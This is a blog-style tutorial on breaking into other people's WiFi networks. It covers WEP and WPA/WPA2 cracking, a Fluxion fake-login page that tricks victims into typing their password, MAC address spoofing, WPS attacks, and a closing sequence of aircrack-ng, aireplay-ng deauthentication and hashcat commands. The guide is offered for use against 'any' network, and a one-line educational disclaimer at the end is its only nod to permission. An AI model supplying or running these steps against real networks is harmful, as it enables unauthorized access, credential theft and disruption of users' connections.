How To Hack WiFi Password(All Methods)

You must have read above how many types of wifi security is used in wifi mainly, now here I am telling you how to hack all types of security one by one, so read the article carefully.

1. WEP Security

WEP stands for Wired Equivalent Privacy. And this is the first wifi security, which was invented in 1999. & it is very easy to crack. If you want to hack a WEP Wifi, then you can easily crack its password from your computer, laptop and windows pc or Kali Linux.

Aircrack-ng must have heard the name of this software itself, and it is available for both Windows + Linux only.

If you use a windows pc, with the help of this software you can easily crack the password of any WEP wifi. But this may take from 4 to 9 hours.

Here is the complete guide of how to do WIFI Password Hack with WEP Security in Windows PC.

2. WPA or WPA2 Security

we now talk about WPA security which is much stronger than WEP and it has 2 formats: WPA or WPA2 which are also advance. But you can also crack it with the 2 methods mentioned below.

  1. Dictionary Attack or Word List Attack.
  2. Fluxion attack.

1 Word List Attack

we know this by Brute Force Attack, Dictionary Attack or Word List Attack in all three names, in this Hacker tries a combination of a lot of passwords on your wifi network, and your wifi password gets cracked if the password matches. You can also call this technique password guessing.

Now we know how you can crack any wifi password with brute-force attack & word list attack.

If I talk about the android phone, then there are some such applications available, with the help of which you can hack the wifi password by performing brute force attack from your android phone, but for that your wifi signal must be very strong, and It may also take a lot of time.

I will not recommend you to perform a brute force attack from the android mobile phone in ASLI at all. Because it may waste a lot of your time, and there is no guarantee whether it will be a success or not.

If you do not have a computer or laptop and you want to try with your android phone, then how to do WiFi Password Hack from Brute Force Attack? His complete information is here.

Now we talk about computer, if you have a computer or laptop with good hardware, then you can easily hack any wifi password from a word list attack from Kali Linux.

2 Fluxion Attack

Guys are the 2nd best method, which I would recommend you to crack the password of any WPA or WPA2 wifi.
In this, Man in the Middle Attack is used, which cuts the wifi connection of the victim, and a new page is open in front of him, in which he is asked to enter his password.

And its special thing is that it does not enable the connection of the victim by entering the wrong password, as long as he does not enter the correct password of his wifi. And as soon as he enters his wifi password, his password comes to you.

3. MAC Address Filtering

Guys, you would know that every device has a unique MAC address. And this MAC address itself has wifi connect, I mean all the devices connected on a wifi network have a unique mac address which is allowed by the admin of that wifi network.

If you find the mac address of a connected device and replace it with the mac address of your device, then you can also connect to that wifi network.

& Good News is Kali Linux will automatically find a connected device mac address. Then you can replace the mac address of your device with it.

How to do Mac Filtering with Aircrack-ng tool in Kali Linux? His complete guide is here.

4. Hidden Network

Do you know that you can also hide your wifi network? Maybe your nearest few such free wifi is available, which is hidden, and you are wasting your time in hacking high-security wifi.

5 WPS Enabled

Friends, as I told you above that you can hack WPS Enable wifi from your android mobile phone, but for that, the network strength of that wifi must be very high.

After installing the WPS Tester App in your android mobile phone, open it and click on Connect Automatic, then if your wifi signal is strong, then it will become automatic connect.

Alternative method using kali linux

Prepare wifi adapter

airmon-ng check kill

ip link set wlan0 down

iw dev wlan0 set type monitor

Show available networks:

airodump-ng wlan0

or dump all to a file:

airodump-ng wlan0 –write allNetworks

Monitor a single access point:

airodump-ng –bssid <mac address> -c <channel> –write <target filename> wlan0
or
airodump-ng –essid <network name> wlan0 (this alternative shows when it catches an ack)

Next, wait for the airodump to grab an ack or force disconnections on target:

aireplay-ng –deauth 100 -a <target mac> wlan0
or
aireplay-ng –0 2 –a [bssid of access point] –c [bssid of client] wlan0

Now we have several files written by the above commands. Lets crack them using aircrack or hashcat:

aircrack-ng *.cap -w /usr/share/wordlists/rockyou.txt
or
aircrack-ng -a2 -b <target mac> -w /usr/share/wordlists/rockyou.txt *.cap
or
hashcat -m 2500 -a 3 hashfile.hccapx ?d?d?d?d?d?d?d?d

Remember this is only for educational purposes. Don’t try to hack a wi-fi you don’t have permition to!
